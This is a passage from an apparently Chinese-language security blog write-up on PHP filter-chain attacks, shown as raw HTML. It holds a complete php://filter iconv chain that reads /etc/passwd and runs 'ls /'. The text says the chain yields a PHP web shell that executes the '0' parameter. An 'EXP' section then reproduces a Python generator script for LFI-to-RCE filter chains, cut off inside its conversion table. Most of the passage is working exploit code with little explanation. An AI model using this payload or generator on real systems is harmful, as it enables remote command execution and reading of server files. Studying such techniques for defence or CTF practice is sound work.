style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=/etc/passwd&#x26;0=ls /</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/04/02/flask%20session%E4%BC%AA%E9%80%A0%E4%B8%8Efilter-chain/13.png\" class=\"\"></p>\n<p>这一串过滤器链产生的是<code>&lt;?=`$_GET['0']`?&gt;</code>这段php代码</p>\n<h2 id=\"exp\"><a class=\"anchor\" href=\"#exp\">#</a> EXP</h2>\n<p>这里给出之前提到参考文章中的一个大佬的脚本：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-python\"><span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">import</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> argparse</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">import</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> base64</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">import</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> re</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\"># - Useful infos -</span></span>\n<span class=\"line\"><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\"># https://book.hacktricks.xyz/pentesting-web/file-inclusion/lfi2rce-via-php-filters</span></span>\n<span class=\"line\"><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\"># https://github.com/wupco/PHP_INCLUDE_TO_SHELL_CHAR_DICT</span></span>\n<span class=\"line\"><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\"># https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\"># No need to guess a valid filename anymore</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">file_to_use </span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">php://temp</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">conversions </span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">    '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">0</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span></span>\n<span class=\"line\"><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">    '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">1</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span></span>\n<span class=\"line\"><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">    '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">2</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span></span>\n<span class=\"line\"><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">    '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">3</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.ISO6937.8859_4|convert.iconv.IBM868.UTF-16LE</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span></span>\n<span class=\"line\"><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">    '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">4</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">convert.iconv.CP866.CSUNICODE|convert.iconv.CSISOLATIN5.ISO_6937-2|convert.iconv.CP950.UTF-16BE</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span></span>\n<span class=\"line\"><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">    '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">5</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.8859_3.UCS2</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span></span>\n<span class=\"line\"><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">    '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">6</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.CSIBM943.UCS4|convert.iconv.IBM866.UCS-2</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span></span>\n<span class=\"line\"><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">    '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">7</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.iconv.ISO-IR-103.850|convert.iconv.PT154.UCS4</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span></span>\n<span class=\"line\"><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">    '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">8</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span></span>\n<span class=\"line\"><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">    '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">9</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span></span>\n<span class=\"line\"><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">    '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">A</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span></span>\n<span class=\"line\"><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">    '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">a</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span></span>\n<span class=\"line\"><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">    '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">B</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span></span>\n<span class=\"line\"><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">    '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">b</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span></span>\n<span class=\"line\"><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">    '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">C</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">convert.iconv.UTF8.CSISO2022KR</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span></span>\n<span class=\"line\"><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">    '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">c</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span></span>\n<span class=\"line\"><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">    '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">D</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span></span>\n<span class=\"line\"><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">    '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">d</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span></span>\n<span class=\"line\"><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">    '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">E</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span></span>\n<span class=\"line\"><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">    '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">e</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UTF16.EUC-JP-MS|convert.iconv.ISO-8859-1.ISO_6937</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span></span>\n<span class=\"line\"><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">    '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">F</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span></span>\n<span class=\"line\"><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">    '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">f</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span></span>\n<span class=\"line\"><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">    '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">g</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span></span>\n<span class=\"line\"><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">    '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">G</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span></span>\n<span class=\"line\"><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">    '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">H</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span></span>\n<span class=\"line\"><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">    '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">h</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span></span>\n<span class=\"line\"><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">    '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">I</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span></span>\n<span class=\"line\"><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">    '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">i</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span></span>\n<span class=\"line\"><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">    '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">J</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span></span>\n<span class=\"line\"><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">    '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">j</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span></span>\n<span class=\"line\"><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">    '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">K</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span></span>\n<span class=\"line\"><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">    '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">k</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span></span>\n<span class=\"line\"><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">    '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">L</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.R9.ISO6937|convert.iconv.OSF00010100.UHC</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span></span>\n<span class=\"line\"><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">    '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">l</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> '</span><span 